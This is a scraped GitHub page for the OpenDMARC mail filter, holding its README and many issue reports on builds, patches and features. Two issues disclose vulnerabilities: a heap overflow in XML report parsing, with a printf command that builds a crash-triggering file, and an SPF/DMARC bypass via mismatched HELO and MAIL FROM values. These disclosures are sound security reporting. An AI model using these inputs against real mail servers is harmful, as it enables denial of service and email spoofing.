GithubHelp home page GithubHelp logo

trusteddomainproject / opendmarc Goto Github PK

View Code? Open in Web Editor NEW
99.0 22.0 53.0 2.39 MB

This is the Trusted Domain Project's impementation of the DMARC protocol libary and mail filter, called OpenDMARC. A "milter" connects to unix-based mailers (originally, sendmail, but now many) and provides a standard filtering API.

License: Other

Shell 1.04% Makefile 1.12% M4 5.06% Python 0.59% C 60.86% Perl 8.92% HTML 15.16% Lua 3.19% Roff 4.04%

opendmarc's Introduction

README for OpenDMARC

This directory has the latest open source DMARC software from The Trusted Domain Project.

There is a web site at http://www.trusteddomain.org/opendmarc that is home for the latest updates.

On GitHub, the "Master" branch follows the latest released version, while continued development happens on the "develop" branch.

Introduction

The OpenDMARC project is a community effort to develop and maintain an open source package for providing DMARC report generation and policy enforcement services. It includes a library for handling DMARC record parsing, a database schema and tools for aggregating and processing transaction history to produce DMARC reports, and a filter that ties it all together with an MTA using the milter protocol.

In simple terms, DMARC takes the results of ARC, SPF and DKIM checks, done by either upstream filters, or SPF checks that opendmarc performs itself, and uses these to make a "pass or fail" decision. A domain owner may put a record in the DNS to determine what should happen to a failing record: No negative action (typically for testing), message quarantining, or outright rejection at SMTP acceptance time.

Additionally, records placed in the DNS allow a domain owner to receive reports back on when messages are received that fail DMARC, as well as specifying what percentage of messages should be evaluated.

This README is not intended to be a full explanation of how the DMARC protocol works, but at the very least, some software that does DKIM checks should be available in your mail stream in order to use this software.

The word "milter" is a portmanteau of "mail filter" and refers to a protocol and API for communicating mail traffic information between MTAs and mail filtering plug-in applications. It was originally invented at Sendmail, Inc. but has also been adapted to other MTAs.

Dependencies

To compile and operate, this package requires the following:

  • sendmail v8.13.0 (or later), or Postfix 2.3, (or later) and libmilter. (These are only required if you are building the filter.)

  • glib (GLib) headers and libraries 2.48.2 (or greater)

  • Access to a working nameserver (required only for signature verification).

  • A perl interpreter (required for sending or receiving and interpreting reports).

  • If you are interested in tinkering with the build and packaging structure, you may need to upgrade to these versions of GNU's "autotools" components:

    • autoconf (GNU Autoconf) 2.61
    • automake (GNU automake) 1.7 (or 1.9 to avoid warnings)
    • ltmain.sh (GNU libtool) 2.2.6 (or 1.5.26 after make maintainer-clean)

Related Documentation

The man page for opendmarc (the actual filter program) is present in the opendmarc directory of this source distribution. There is additional information in the INSTALL and FEATURES files, and in the README file in the opendmarc directory. Changes are documented in the RELEASE_NOTES file.

HTML-style documentation for libopendmarc is available in libopendmarc/docs in this source distribution.

General information about DMARC can be found at http://www.dmarc.org

Mailing lists discussing and supporting the DMARC software found in this package are maintained via a list server at trusteddomain.org. Visit http://www.trusteddomain.org to subscribe or browse archives. The available lists are:

  • opendmarc-announce (moderated) Release announcements.

  • opendmarc-users General OpenDMARC user questions and answers.

  • opendmarc-dev Chatter among OpenDMARC developers.

  • opendmarc-code Automated source code change announcements.

Bug tracking is done via the trackers on GitHub at:

https://github.com/trusteddomainproject/OpenDMARC/issues

You can enter new bug reports there, but please check first for older bugs already open, or even already closed, before opening a new issue.

Note that development is being moved away from SourceForge, Freshmeat, or other sites.

Directory Structure

  • contrib: A collection of user contributed scripts that may be useful.

  • db: Database schema and tools for generating DMARC reports based upon accumulated data.

  • libopendmarc:A library that implements the DMARC standard.

  • libopendmarc/docs: HTML documentation describing the API provided by libopendmarc.

  • opendmarc: A milter-based filter application which uses libopendmarc (and optionally libar) to provide DMARC service via an MTA using the milter protocol.

Runtime Issues

Missing symbols

You may receive the warning: WARNING: symbol 'X' not available

This indicates that the filter attempted to get some information from the MTA that the MTA did not provide.

At various points in the interaction between the MTA and the filter, certain macros containing information about the job in progress or the connection being handled are passed from the MTA to the filter.

In the case of sendmail, the names of the macros the MTA should pass to the filter are defined by the Milter.macros settings in sendmail.cf, e.g.Milter.macros.connect, Milter.macros.envfrom, etc. This message indicates that the filter needed the contents of macro X, but that macro was not passed down from the MTA.

Typically the values needed by this filter are passed from the MTA if the sendmail.cf was generated by the usual m4 method. If you do not have those options defined in your sendmail.cf, make sure your M4 configuration files are current and rebuild your sendmail.cf to get appropriate lines added to your sendmail.cf, and then restart sendmail.

MTA timeouts

By default, the MTA is configured to wait up to ten seconds for a response from a filter before giving up. When querying remote nameservers for key and policy data, the DMARC filter may not get a response from the resolver within that time frame, and thus this MTA timeout will occur.

This can cause messages to be rejected, temp-failed or delivered without verification, depending on the failure mode selected for the filter.

When using the standard resolver library provided with your system, the DNS timeout cannot be adjusted. If you encounter this problem, you must increase the time the MTA waits for replies. See the documentation in the sendmail open source distribution (libmilter/README in particular) for instructions on changing these timeouts.

When using the provided asynchronous resolver library, you can use the -T command line option to change the timeout so that it is shorter than the MTA timeout.

Other OpenDMARC issues:

Bug tracking is done via the trackers on GitHub at:

https://github.com/trusteddomainproject/OpenDMARC/issues

Please report them there, after checking for prior reports.

Further Reading

As DMARC adoption becomes more common, any list of links placed in the README of a single implementation will invariably grow out of date. Using your favorite search engine, or the mailing lists for your operating system or MTA is not an unreasonable path forward.

As a start, however, the RFC's that define SPF, DKIM, and DMARC present a fairly comprehensive, if technical, understanding of the underlying protocols. Although there is not much information involving marrying them to a specific mail server.

At the time of this writing, the following are the most recent RFC's for the protocols involved (although many other RFC's are referenced, of course).

-- Copyright (c) 2012, 2016, 2018, 2021, The Trusted Domain Project. All rights reserved.

opendmarc's People

Contributors

2xsaiko avatar antifreeze avatar bicknell avatar bkeevil avatar dilyanpalauzov avatar glts avatar jablko avatar jikamens avatar manu0401 avatar martinbogo avatar mskucherawy avatar tdraegen avatar thegushi avatar worr avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

opendmarc's Issues

OpenDMARC fails to test subdomain against parent DMARC record.

Hi
I have received a mail from a subdomain of a DMARC enabled domain, but the authentication result is dmarc=none.

Received-SPF: pass (tastselvperson.sktst.dk: 147.29.150.227 is authorized to use '[email protected]' in 'mfrom' identity (mechanism 'ip4:147.29.150.227' matched)) receiver=mail.example.net; identity=mailfrom; envelope-from="[email protected]"; helo=bounce.skat.dk; client-ip=147.29.150.227
Authentication-Results: mail.example.net; dmarc=none (p=none dis=none) header.from=tastselvperson.sktst.dk
Authentication-Results: mail.example.net; dkim=pass (1024-bit key; unprotected) header.d=tastselvperson.sktst.dk [email protected] header.b=dr1XMWmz

The parent domain, sktst.dk have a p=reject and no sp defined:
~$ dig txt _dmarc.sktst.dk +short
"v=DMARC1; p=reject; rua=mailto:[email protected]; ruf=mailto:[email protected]"
$ dig txt _dmarc.tastselvperson.sktst.dk +short

I have successfully reproduced the behaviour from another domain. The receiving server is running Postfix with OpenDMARC 1.3.2 on FreeBSD.

It seems to me, as OpenDMARC fails to use the inherited DMARC policy from its parent domain.

Regards
/Uffe

Step-by-step compilation of latest release

The following holds on both the git code and the latest release (1.3.3).

> cd /tmp
> rm -Rf OpenDMARC

> git clone https://github.com/trusteddomainproject/OpenDMARC.git 
Cloning into 'OpenDMARC'...
remote: Enumerating objects: 62, done.
remote: Counting objects: 100% (62/62), done.
remote: Compressing objects: 100% (55/55), done.
remote: Total 5368 (delta 27), reused 21 (delta 7), pack-reused 5306
Receiving objects: 100% (5368/5368), 1.78 MiB | 513.00 KiB/s, done.
Resolving deltas: 100% (3899/3899), done.

> cd OpenDMARC/                                                                                                                                                                       
> ls
AutoBuild.sh		LICENSE			README			announcement		contrib			libopendmarc		reports
HowToRelease		LICENSE.Sendmail	RELEASE_NOTES		build-aux		copyright-check		m4			www
INSTALL			Makefile.am		TESTS			configure.ac		db			opendmarc

> cat HowToRelease 
Release procedures for OpenDMARC

0) Run "./copyright-check" to ensure anything updated in the current year has
   a current copyright notice in it.

1) Edit configure.ac so that the new release number is formed with the
   VERSION_RELEASE* macros.

2) In the root build directory, do these things:

	% make distclean
	% autoreconf
	% ./configure
	% make
	% make distcheck

   This will produce an opendmarc-(version).tar.gz tarball after running
   all unit tests.

<snip>

> ./copyright-check
fatal: ambiguous argument 'develop': unknown revision or path not in the working tree.
Use '--' to separate paths from revisions, like this:
'git <command> [<revision>...] -- [<file>...]'

> make distclean
make: *** No rule to make target `distclean'.  Stop.

> autoreconf
configure.ac:500: error: required file 'docs/Makefile.in' not found
autoreconf: automake failed with exit status: 1

> find . -name docs
./libopendmarc/docs

> ls libopendmarc/docs/ | grep Makefile
Makefile.am

>grep SUBDIRS libopendmarc/Makefile.am 
SUBDIRS=tests docs

>grep SUBDIRS Makefile.am                                                                                                                                                                                                                                                              
SUBDIRS		= contrib db libopendmarc reports
SUBDIRS         += opendmarc

>autoreconf --version
autoreconf (GNU Autoconf) 2.69

> autoreconf --install
configure.ac:503: error: required file 'docs/Makefile.in' not found
autoreconf: automake failed with exit status: 1

This happens on MacOS:

> ./AutoBuild.sh 
Building opendmarc
autoreconf: Entering directory `.'
autoreconf: configure.ac: not using Gettext
autoreconf: running: aclocal -I m4
autoreconf: configure.ac: tracing
autoreconf: running: glibtoolize --copy
glibtoolize: putting auxiliary files in AC_CONFIG_AUX_DIR, 'build-aux'.
glibtoolize: copying file 'build-aux/ltmain.sh'
glibtoolize: putting macros in AC_CONFIG_MACRO_DIRS, 'm4'.
glibtoolize: copying file 'm4/libtool.m4'
glibtoolize: copying file 'm4/ltoptions.m4'
glibtoolize: copying file 'm4/ltversion.m4'
autoreconf: running: /usr/local/Cellar/autoconf/2.69/bin/autoconf
autoreconf: running: /usr/local/Cellar/autoconf/2.69/bin/autoheader
autoreconf: running: automake --add-missing --copy --no-force
configure.ac:500: error: required file 'docs/Makefile.in' not found
autoreconf: automake failed with exit status: 1
./configure -q --with-wall -C --with-spf
rm: conftest.dSYM: is a directory
rm: conftest.dSYM: is a directory
rm: conftest.dSYM: is a directory
rm: conftest.dSYM: is a directory
configure: error: milter not found
Fatal ERROR: "./configure -q --with-wall -C --with-spf" failed.

This happens on OpenBSD:

./AutoBuild.sh                                                                                                                                                                                                                                                                        
Building opendmarc
autoreconf-2.69: Entering directory `.'
autoreconf-2.69: configure.ac: not using Gettext
autoreconf-2.69: running: aclocal -I m4
autoreconf-2.69: configure.ac: tracing
autoreconf-2.69: running: libtoolize --copy
autoreconf-2.69: running: /usr/local/bin/autoconf-2.69
autoreconf-2.69: running: /usr/local/bin/autoheader-2.69
autoreconf-2.69: running: automake --add-missing --copy --no-force
configure.ac:503: required file `docs/Makefile.in' not found
autoreconf-2.69: automake failed with exit status: 1
./configure -q --with-wall -C --with-spf
configure: error: need workable resolver library
Fatal ERROR: "./configure -q --with-wall -C --with-spf" failed.

Github offers facilities to compile the code automatically on various platforms and report the bugs found.

Let's move on...

> perl -i.bak -pe 's|^(CONF=\"\.\/configure )[^\"]+\"|$1 '"$config_options"'"|' AutoBuild.sh;

This extends AutoBuild.sh with our local configuration options.

perl -i.bak -pe 's|^SUBDIRS=tests docs|SUBDIRS=tests|' libopendmarc/Makefile.am;
perl -i.bak -pe 's|^.*docs/Makefile.*\n$||' configure.ac;

This brooms the docs under the carpet.

> ./AutoBuild.sh

This works.

reports/ tweaks

Write in reports-README:

  • That Switch needs to be installed
  • Under OPENDMARC REPORTS, that opendmarc-importstarts and opendmarc-importstats.8 exist
  • Under SETUP something about opendmarc-expire

Tweak opendmarc-expire, opendmarc-params and their manpages to use the variables OPENDMARC_DBHOST, OPENDMARC_DB, OPENDMARC_PASSWORD, OPENDMARC_PORT and OPENDMARC_USER, as opendmarc-reports and opendmarc-import do.

It is unclar from opendmarc-importstasts.8 what the name of the renames historyFile is and how can that name be passed to opendmarc-import. In particular it is unclear, where it knows the current namen of the history file. The lack of documentation makes opendmarc-importstats useless.

Add option to opendmarc-reports to send the emails to a BCC-address

Teach opendmarc-reports not to open a SMTP connection, unless it has data to send over it

Change the shebang lines of the perl scripts from #!/usr/bin/perl to #!/usr/bin/env perl, as the latter would prefer perl with higher priority on the PATH, like /usr/local/bin/perl, and it is more likely that the perl with the higher priority on PATH has Switch installed, and /usr/bin/perl does not.

patch to opendmarc_internal.h

--- ./libopendmarc/opendmarc_internal.h.orig    Mon Dec 21 11:42:32 2020
+++ ./libopendmarc/opendmarc_internal.h Mon Dec 21 11:42:58 2020
@@ -217,7 +217,7 @@
 int                    opendmarc_tld_read_file(char *path_fname, char *commentstring, char *drop, char *except);
 int                    opendmarc_get_tld(u_char *domain, u_char *tld, size_t tld_len);
 int                     opendmarc_reverse_domain(u_char *domain, u_char *buf, size_t buflen);
-void                   opendmarc_tld_shutdown();
+void                   opendmarc_tld_shutdown(void);
 
 /* opendmarc_util.c */
 u_char ** opendmarc_util_pushargv(u_char *str, u_char **ary, int *cnt);

snprintf in opendmarc.c uses wrong buffer size

The snprintf into arcseal_buf in mlfi_oem in opendmarc.c uses sizeof arcseal_str when it should use sizeof arcseal_buf. This causes a crash on my system:

(gdb) where
#0  0x00007f764bd04277 in raise () from /lib64/libc.so.6
#1  0x00007f764bd05968 in abort () from /lib64/libc.so.6
#2  0x00007f764bd46d37 in __libc_message () from /lib64/libc.so.6
#3  0x00007f764bde66e7 in __fortify_fail () from /lib64/libc.so.6
#4  0x00007f764bde4862 in __chk_fail () from /lib64/libc.so.6
#5  0x00007f764bde3f7b in __vsnprintf_chk () from /lib64/libc.so.6
#6  0x00007f764bde3e98 in __snprintf_chk () from /lib64/libc.so.6
#7  0x0000000000408efb in snprintf (__fmt=0x40f678 "%s{ \"i\": %d, \"d\":\"%s\", \"s\":\"%s\", \"ip\":\"%s\" }", __n=2049, __s=0x7f7649099020 "") at /usr/include/bits/stdio2.h:64
#8  mlfi_eom (ctx=0x202ed70) at opendmarc.c:3536

opendmarc.c: ARC overwrite for quarantines

ARC overwrite shall not happen only when result == DMARC_RESULT_REJECT, setting possibly result = DMARC_RESULT_ACCEPT, but also when result is DMARC_RESULT_QUARANTINE, calling smfi_quarantine() after ARC is evaluated.

patch to opendmarc.c

--- opendmarc/opendmarc.c.orig
+++ opendmarc/opendmarc.c
@@ -2193,7 +2193,7 @@ mlfi_eom(SMFICTX *ctx)
        strncpy(dfc->mctx_fromdomain, domain, sizeof dfc->mctx_fromdomain - 1);
 
        ostatus = opendmarc_policy_store_from_domain(cc->cctx_dmarc,
-                                                    from->hdr_value);
+                                                    dfc->mctx_fromdomain);
        if (ostatus != DMARC_PARSE_OKAY)
        {
                if (conf->conf_dolog)

opendmarc: use AUTHRESULTSHDR instead of AUTHRESHDRNAME

... as macro from Authentication-Results:

diff --git a/opendmarc/opendmarc-ar.h b/opendmarc/opendmarc-ar.h
--- a/opendmarc/opendmarc-ar.h
+++ b/opendmarc/opendmarc-ar.h
@@ -17,7 +17,6 @@
 #include "dmarc.h"
 
 /* limits */
-#define        AUTHRESHDRNAME  "Authentication-Results"
 #define        MAXARESULTS     16
 #define        MAXPROPS        16
 #define        MAXAVALUE       256
diff --git a/opendmarc/opendmarc.c b/opendmarc/opendmarc.c
index 0270ffa..009325f 100644
--- a/opendmarc/opendmarc.c
+++ b/opendmarc/opendmarc.c
@@ -2474,7 +2474,7 @@ mlfi_eom(SMFICTX *ctx)
             hdr = hdr->hdr_next, c++)
        {
                /* skip it if it's not Authentication-Results */
-               if (strcasecmp(hdr->hdr_name, AUTHRESHDRNAME) != 0)
+               if (strcasecmp(hdr->hdr_name, AUTHRESULTSHDR) != 0)
                        continue;
 
                /* parse it */

opendmarc/opendmarc.c:mlfi_eom(): respect AuthservIDWithJobID when adding AR: authservid; spf= header

In particular when SPFIgnoreResults, SPFSelfValidate and AuthservIDWithJobID are enabled:

diff --git a/opendmarc/opendmarc.c b/opendmarc/opendmarc.c
--- a/opendmarc/opendmarc.c
+++ b/opendmarc/opendmarc.c
@@ -2918,14 +2918,22 @@ mlfi_eom(SMFICTX *ctx)
                        if (spf_mode == DMARC_POLICY_SPF_ORIGIN_HELO)
                        {
                                snprintf(header, sizeof header,
-                                        "%s; spf=%s smtp.helo=%s",
-                                        authservid, pass_fail, use_domain);
+                                        "%s%s%s; spf=%s smtp.helo=%s",
+                                        authservid,
+                                        conf->conf_authservidwithjobid ? "/" : "",
+                                        conf->conf_authservidwithjobid ? dfc->mctx_jobid : "",
+                                        pass_fail, use_domain);
                        }
                        else
                        {
                                snprintf(header, sizeof header,
-                                        "%s; spf=%s smtp.mailfrom=%s",
-                                        authservid, pass_fail, use_domain);
+                                        "%s%s%s; spf=%s smtp.mailfrom=%s",
+                                        authservid,
+                                        conf->conf_authservidwithjobid ? "/" : "",
+                                        conf->conf_authservidwithjobid ? dfc->mctx_jobid : "",
+                                        pass_fail, use_domain);
+
+
                        }
 
                        if (dmarcf_insheader(ctx, 1, AUTHRESULTSHDR,

patch to opendmarc_policy.c

opendmarc_policy.c:611:36: warning: comparison of array 'buf' not equal to a null pointer is always true [-Wtautological-pointer-compare]
        if (dns_reply == NETDB_SUCCESS && buf != NULL)
                                          ^~~    ~~~~
opendmarc_policy.c:640:36: warning: comparison of array 'buf' not equal to a null pointer is always true [-Wtautological-pointer-compare]
        if (dns_reply == NETDB_SUCCESS && buf != NULL)
                                          ^~~    ~~~~
--- ./libopendmarc/opendmarc_policy.c.orig      Thu Jun 11 17:05:28 2020
+++ ./libopendmarc/opendmarc_policy.c   Mon Dec 21 12:29:31 2020
@@ -608,7 +608,7 @@
                        continue;
                }
        }
-       if (dns_reply == NETDB_SUCCESS && buf != NULL)
+       if (dns_reply == NETDB_SUCCESS && strcmp( buf, "&" ) != 0)
        {
                /* Must include DMARC version */
                if (strncasecmp((char *)buf, "v=DMARC1", sizeof buf) == 0)
@@ -637,7 +637,7 @@
                        continue;
                }
        }
-       if (dns_reply == NETDB_SUCCESS && buf != NULL)
+       if (dns_reply == NETDB_SUCCESS && strcmp( buf, "&" ) != 0)
        {
                /* Must include DMARC version */
                if (strncasecmp((char *)buf, "v=DMARC1", sizeof buf) == 0)

Memory corruption in opendmarc_xml()

There is a memory corruption vulnerability in opendmarc_xml() of libopendmarc during parsing of DMARC aggregate reports. The versions affected by this seem to be OpenDMARC through 1.3.2 and 1.4.x through 1.4.0-Beta1.

The root cause is improper null termination. The function opendmarc_xml_parse() does not explicitly add a null terminator ('\0') to the buffer holding the XML data after reading the contents from a report file. This can cause an off-by-one error in opendmarc_xml() in certain cases depending on the report file, resulting in a one-byte heap overflow.

A null byte write occurs during the parsing at opendmarc_xml.c:171, *sp = '\0'. Eventually, during parsing of a specially crafted report, this null byte will overflow to the next chunk on the heap, overwriting the heap metadata, as indicated by the following valgrind output.

==4014== Invalid write of size 1
==4014==    at 0x401223: opendmarc_xml (opendmarc_xml.c:171)
==4014==    by 0x4020DC: opendmarc_xml_parse (opendmarc_xml.c:614)
==4014==    by 0x400D23: main (in /home/peppe/Downloads/test)
==4014==  Address 0x5204478 is 0 bytes after a block of size 1,080 alloc'd
==4014==    at 0x4C2FB55: calloc (in /usr/lib/valgrind/vgpreload_memcheck-amd64-linux.so)
==4014==    by 0x402070: opendmarc_xml_parse (opendmarc_xml.c:575)
==4014==    by 0x400D23: main (in /home/peppe/Downloads/test)

The size field and the least significant bits used as flags are overwritten in the metadata. The relevant flag for this vulnerability is the bit indicating 'previous chunk in use', known as PREV_INUSE which will be set to zero and determines if the previous chunk (storing bufp) is free. When the buffer is later free'd at opendmarc_xml.c:616, (void) free(bufp) - a crash occurs as bufp is listed as not used.

(gdb) run poc.xml
Starting program: /home/peppe/Downloads/test poc.xml
*** Error in `/home/peppe/Downloads/test': double free or corruption (!prev): 0x0000000000605010 ***
.
.
Program received signal SIGABRT, Aborted.
0x00007ffff7a42428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54	../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0  0x00007ffff7a42428 in __GI_raise (sig=sig@entry=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1  0x00007ffff7a4402a in __GI_abort () at abort.c:89
#2  0x00007ffff7a847ea in __libc_message (do_abort=do_abort@entry=2, fmt=fmt@entry=0x7ffff7b9ded8 "*** Error in `%s': %s: 0x%s ***\n") at ../sysdeps/posix/libc_fatal.c:175
#3  0x00007ffff7a8d37a in malloc_printerr (ar_ptr=<optimized out>, ptr=<optimized out>, str=0x7ffff7b9e008 "double free or corruption (!prev)", action=3) at malloc.c:5006
#4  _int_free (av=<optimized out>, p=<optimized out>, have_lock=0) at malloc.c:3867
#5  0x00007ffff7a9153c in __GI___libc_free (mem=<optimized out>) at malloc.c:2968
#6  0x00000000004020e8 in opendmarc_xml_parse (fname=<optimized out>, err_buf=0x7fffffffdcd0 "", err_len=256) at opendmarc_xml.c:616
#7  0x0000000000400d24 in main ()
(gdb) frame 6
#6  0x00000000004020e8 in opendmarc_xml_parse (fname=<optimized out>, err_buf=0x7fffffffdcd0 "", err_len=256) at opendmarc_xml.c:616
616		(void) free(bufp);
(gdb) p bufp
$1 = 0x605010 "<feedback"
(gdb) 

A remote attacker could provide a specially crafted report that is parsed by this library, causing a denial of service. It could possibly lead to code execution depending on how libopendmarc is used and integrated into the application, in particular if the opendmarc_xml function is used explicitly without calling opendmarc_xml_parse and with input that is not null-terminated.

A DMARC aggregate report that triggers this vulnerability can be generated using the following commands:

printf '<feedback></feedback>' > poc.xml; printf 'A%.0s' {1..1053} >> poc.xml; printf '<begin' >> poc.xml

policy Override

I suppose this would be more of an enhancement patch request than a bug fix.
I do apologize, but didn't know where else to post.

I'm currently running OpenDMARC 1.3.2 and recently applied patches which included a MLM override which I was hoping would resolve my issue, but alas it appears it's meant to work with domains using email lists.

In my configuration, policies are enforced, with quarantine policies being held for review. This is intentional as I see a lot of spam getting caught rather than being delivered which to me, is a good thing.

I am also seeing legitimate mail get rejected or quarantined due to issues on the sender side.
These are valid actions, however some of these emails have been critical and/or time sensitive in nature.

I would be nice to be to use a file which would contain a list of optional domains which OpenDMARC could check and override reject/quarantine policies for listed domains.

I see the flow as being something along the lines of:
Email fails verification >
Reject/Quarantine policy found >
List checked >
Match Found > Override logged > Message delivered
No Match Found > Policy enforced

If the MLM patch is supposed to do this for any domain, then there might be a bug as It's not working for me.

I do thank you for your time in reading this, and for everybody's effort with OpenDMARC

Ken

Is the project alive?

There is no project in any of the repositories for any enterprise Linux.
I did the RPM assembly myself for the release version, then for 1.4.0.R1, ัƒverything is build well, but it doesn't work.
opendmarc could not check sign for any of the major mail services such as google and others. Allways report fail.

Security Bug CVE-2019-20790: OpenDMARC can be bypassed when it's used with pypolicyd-spf

I cannot find a private address for reporting security bugs, so I have to post it here.

If a mail server uses both OpenDMARC and pypolicyd-spf, its SPF and DMARC authentication can be bypassed with the following message:

HELO: attacker.com
MAIL FROM: <[email protected]>
...
From: <[email protected]>
...
  • pypolicyd-spf uses the HELO identifier and generates the following message:
    Received-SPF: Pass (helo) identity=helo; client-ip=1.2.3.4; helo=attack.com; [email protected];
  • OpenDMARC uses the MAIL FROM identifier to check alignment with the From header.

Given the popularity of OpenDMARC and pypolicyd-spf, this bug may affect many online services. Hope you can fix it soon.

Detailed reproduce steps at:
https://sourceforge.net/p/opendmarc/tickets/235/

I have also reported it to pypolicyd-spf:
https://bugs.launchpad.net/pypolicyd-spf/+bug/1838816

Yahoo! feedback loop/ARF reports arrive without Date: header, so tolerate them with RequiredHeaders: 1

diff --git a/opendmarc/opendmarc.c b/opendmarc/opendmarc.c
--- a/opendmarc/opendmarc.c
+++ b/opendmarc/opendmarc.c
@@ -2324,7 +2324,8 @@ mlfi_eom(SMFICTX *ctx)
            dmarcf_findheader(dfc, "From", 1) != NULL)
                reqhdrs_error = "not exactly one From field";
 
-       if (dmarcf_findheader(dfc, "Date", 0) == NULL ||
+       if ((dmarcf_findheader(dfc, "Date", 0) == NULL
+            && strcmp(from->hdr_value, "Yahoo! Mail AntiSpam Feedback <[email protected]>") != 0)||
            dmarcf_findheader(dfc, "Date", 1) != NULL)
                reqhdrs_error = "not exactly one Date field";
 

Needless to say I prefer if this is fixed on senderโ€™s side, but I have no influence on Yahoo! I want to have RequireHeaders: on in order to get less spam, but I also want to receive the mails from Yahoo FBL to remove subscribers from mailing lists.

opendmarc-import: failed to insert ARC-Seals data: Duplicate entry '137-23-1' for key 'message_2'

My daily opendmarc-import failed with the message shown in the synopsis.

The message in question had the following header:

Return-Path: <jik@my-host-name-elided>
Received: from deliver ([unix socket])
	 (authenticated user=jik bits=0)
	 by my-host-name-elided (Cyrus v2.4.17-Fedora-RPM-2.4.17-13.el7) with LMTPA;
	 Mon, 24 Sep 2018 03:30:16 -0400
X-Sieve: CMU Sieve 2.4
Received: from mail-oi0-x247.google.com (mail-oi0-x247.google.com [IPv6:2607:f8b0:4003:c06::247])
	by my-host-name-elided (8.14.7/8.14.7) with ESMTP id w8O7UEJo032729
	(version=TLSv1/SSLv3 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=FAIL)
	for <jik@my-email-domain-elided>; Mon, 24 Sep 2018 03:30:15 -0400
DMARC-Filter: OpenDMARC Filter v1.4.0 my-host-name-elided w8O7UEJo032729
Authentication-Results: my-host-name-elided; dmarc=pass (p=none dis=none) header.from=get-chop.host
Authentication-Results: my-host-name-elided; spf=pass smtp.mailfrom=dns91+bncBD7OPJP5T4DRB4FEULOQKGQEE4TAQJQ@get-chop.host
DKIM-Filter: OpenDKIM Filter v2.11.0 my-host-name-elided w8O7UEJo032729
Authentication-Results: my-host-name-elided;
	dkim=pass (1024-bit key) header.d=get-chop.host [email protected] header.b="sfi0zjXs"
Received: by mail-oi0-x247.google.com with SMTP id q11-v6sf18819329oih.15
        for <jik@my-email-domain-elided>; Mon, 24 Sep 2018 00:30:15 -0700 (PDT)
ARC-Seal: i=2; a=rsa-sha256; t=1537774214; cv=pass;
        d=google.com; s=arc-20160816;
        b=h3pd1LDb+r4DrJ8CybhrRpYS8d6bEznSyhSPfVgWFetFJesu7mG7yy2lIPB9Te2CrX
         7xMPk+7iFoIbABLeXYNCik/M4oTDri6MlH9L8KWlIMIXj0qpw+YBVbulZlKf6YykVTVA
         wQcuPZ4iB4k4Q+05jh3wXE9jKgWPljkqm3XgaXoDJ/b5iMv1Dk+xXJ1fLHmToioInl79
         PJ+k3Bx716/N3IUFeaDJfkouTnyECHBGyTxtrQMCW8NwqbQ4U8aZ2UK1KHJw+wILBqFA
         BGgLv240ZrXwV/YzM+a+6DgfEr3Gmf0awJo8aM8T6rQaJE3G4Mdb5uXuM8Am4AARGloK
         6ZMg==
ARC-Message-Signature: i=2; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=arc-20160816;
        h=list-unsubscribe:list-archive:list-help:list-post:list-id
         :mailing-list:precedence:to:subject:message-id:date:from:sender
         :mime-version:dkim-signature;
        bh=2IdX4oaLAAhXusTYGZYqR6o5a3w42/IpyIkhHsYl7do=;
        b=JwoGbEL/k4iK57SpTdT93/+DnzGRGGCOkTh6bqh7BUeCu8kYb1JsOxwI1DhMHRG40z
         P8CZIExouZClIoODMvtzYOoLK1pElayT7QXSCGj7VRVH7ssoX2zNHDJo49Bg3MFhgk5x
         24em7oWXvFWqtveabvNVBIqptg6eG2l1E82bnhzU1n7RsIIP9T3TeernpPUvVv7Lyzww
         lAwQdDqzqJlV3QqtS7eE8F5eRvz1sHOZPHRn2gWdEiLBLQJkP9pvg9CfiWqMB6HoVbsF
         pFkFI64qNdehN0DLIxZiXkB4mmFkItU8c9TMdTAdo3Dk8mGE6GF+9Byi2qhMQLsjquuD
         uAJw==
ARC-Authentication-Results: i=2; mx.google.com;
       dkim=pass [email protected] header.s=google header.b="H0ofvx/z";
       spf=pass (google.com: domain of [email protected] designates 209.85.220.65 as permitted sender) [email protected];
       dmarc=pass (p=NONE sp=NONE dis=NONE) header.from=get-chop.host
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=get-chop.host; s=google;
        h=mime-version:sender:from:date:message-id:subject:to
         :x-original-sender:x-original-authentication-results:precedence
         :mailing-list:list-id:list-post:list-help:list-archive
         :list-unsubscribe;
        bh=2IdX4oaLAAhXusTYGZYqR6o5a3w42/IpyIkhHsYl7do=;
        b=sfi0zjXs/VBFsIz+f7thAm0h1yITGgvl44nh9UnmZ6ohGfV0NsKjJck4zct8gONyGu
         s7LP/tOMkltansyun0iLj6JTmOt5kkqmCKFCcnlfh3sEz4qhoHCQCJGn7zTkTH+oPUu/
         jRf1BCSq4nzT94kjFFwmiS3hqBduD9HgPWu0M=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20161025;
        h=x-gm-message-state:mime-version:sender:from:date:message-id:subject
         :to:x-original-sender:x-original-authentication-results:precedence
         :mailing-list:list-id:x-spam-checked-in-group:list-post:list-help
         :list-archive:list-unsubscribe;
        bh=2IdX4oaLAAhXusTYGZYqR6o5a3w42/IpyIkhHsYl7do=;
        b=WxLbQqle8/Lgy0AU1bd1N7x+1opwNEVu2pKA/Qt6LeLG3kJWPqPvC61d3nUJwBF00v
